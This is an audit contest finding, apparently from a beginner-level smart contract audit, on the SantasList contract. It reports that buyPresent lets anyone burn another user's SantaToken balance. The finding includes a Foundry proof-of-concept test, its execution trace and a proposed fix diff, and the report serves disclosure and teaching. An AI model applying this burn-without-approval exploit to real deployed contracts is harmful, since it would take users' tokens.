Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

burned function with no access control gives room for malicious user to steal tokens

Summary

Users token can be burned by malicious user to buy present.

Vulnerability Details

Santalist::buyPresent function has no access control to determine if the user calling the function has the right owner to the token to burn from because the function did not check if the rightful owner of the token before minting NFT which will give a malicious user the opportunity to buy present with EXTRANICE users' token

Impact

ExtraNice users will lose all the extra erc20 token given to them for being extraNice

Tools Used

foundry, manual review
#POC

vm.startPrank(santa);
santasList.checkList(user, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
vm.startPrank(user);
santasList.collectPresent();
assertEq(santasList.balanceOf(user), 1);
assertEq(santaToken.balanceOf(user), 1e18);
vm.stopPrank();
address maliciousUser = makeAddr("maliciousUser");
//assert malicious user has no present
assertEq(santasList.balanceOf(maliciousUser), 0);
vm.prank(maliciousUser);
santasList.buyPresent(user);
//assert malicious user now has present
assertEq(santasList.balanceOf(maliciousUser), 1);
}

Add the above function to santalist.t.sol and run with forge test --mt testMaliciousUserCollectTokenExtraNice -vvvvv

├─ [0] VM::startPrank(santa: [0x70C9C64bFC5eD9611F397B04bc9DF67eb30e0FcF])
│ └─ ← ()
├─ [24111] SantasList::checkList(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], 1)
│ ├─ emit CheckedOnce(person: user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], status: 1)
│ └─ ← ()
├─ [24419] SantasList::checkTwice(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], 1)
│ ├─ emit CheckedTwice(person: user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], status: 1)
│ └─ ← ()
├─ [0] VM::stopPrank()
│ └─ ← ()
├─ [283] SantasList::CHRISTMAS_2023_BLOCK_TIME() [staticcall]
│ └─ ← 1703480381 [1.703e9]
├─ [0] VM::warp(1703480382 [1.703e9])
│ └─ ← ()
├─ [0] VM::startPrank(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D])
│ └─ ← ()
├─ [120077] SantasList::collectPresent()
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], tokenId: 0)
│ ├─ [46713] SantaToken::mint(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D])
│ │ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], amount: 1000000000000000000 [1e18])
│ │ └─ ← ()
│ └─ ← ()
├─ [678] SantasList::balanceOf(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D]) [staticcall]
│ └─ ← 1
├─ [542] SantaToken::balanceOf(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D]) [staticcall]
│ └─ ← 1000000000000000000 [1e18]
├─ [0] VM::stopPrank()
│ └─ ← ()
├─ [0] VM::addr(<pk>) [staticcall]
│ └─ ← maliciousUser: [0x00aE22013C2eD3a7b7F91E4a2C70e44cDe3f5E5e]
├─ [0] VM::label(maliciousUser: [0x00aE22013C2eD3a7b7F91E4a2C70e44cDe3f5E5e], maliciousUser)
│ └─ ← ()
├─ [2678] SantasList::balanceOf(maliciousUser: [0x00aE22013C2eD3a7b7F91E4a2C70e44cDe3f5E5e]) [staticcall]
│ └─ ← 0
├─ [0] VM::prank(maliciousUser: [0x00aE22013C2eD3a7b7F91E4a2C70e44cDe3f5E5e])
│ └─ ← ()
├─ [39319] SantasList::buyPresent(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D])
│ ├─ [2348] SantaToken::burn(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D])
│ │ ├─ emit Transfer(from: user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], to: 0x0000000000000000000000000000000000000000, amount: 1000000000000000000 [1e18])
│ │ └─ ← ()
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: maliciousUser: [0x00aE22013C2eD3a7b7F91E4a2C70e44cDe3f5E5e], tokenId: 1)
│ └─ ← ()
├─ [678] SantasList::balanceOf(maliciousUser: [0x00aE22013C2eD3a7b7F91E4a2C70e44cDe3f5E5e]) [staticcall]
│ └─ ← 1
└─ ← ()

Recommendations

it was stated in the document that the token holder has to approve santalist before calling buy present function
it is advised that the team should make sure the logic entails in buyPresent function handles the smart contract as intended by the team and properly secure from being hacked

function buyPresent(address presentReceiver) external {
- i_santaToken.burn(presentReceiver);
+ require(i_santaToken.transferfrom(msg.sender, address(this), 2e18));
+ i_santaToken.burn(address(this));
- _mintAndIncrement();
+ _safeMint(presentReceiver, s_tokenCounter++);
}

the above addition and subtraction will allow the buyPresent function to work as intended by the team, the price is changed to 2e18 to allow for the logic to work with the intended price from the document and make sure to increase the token id for the next user to have it's unique token id

Updates

Lead Judging Commences

equious Auditor
over 1 year ago
inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

buyPresent should use msg.sender

Current implementation allows a malicious actor to burn someone else's tokens as the burn function doesn't actually check for approvals.

buyPresent should send to presentReceiver

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.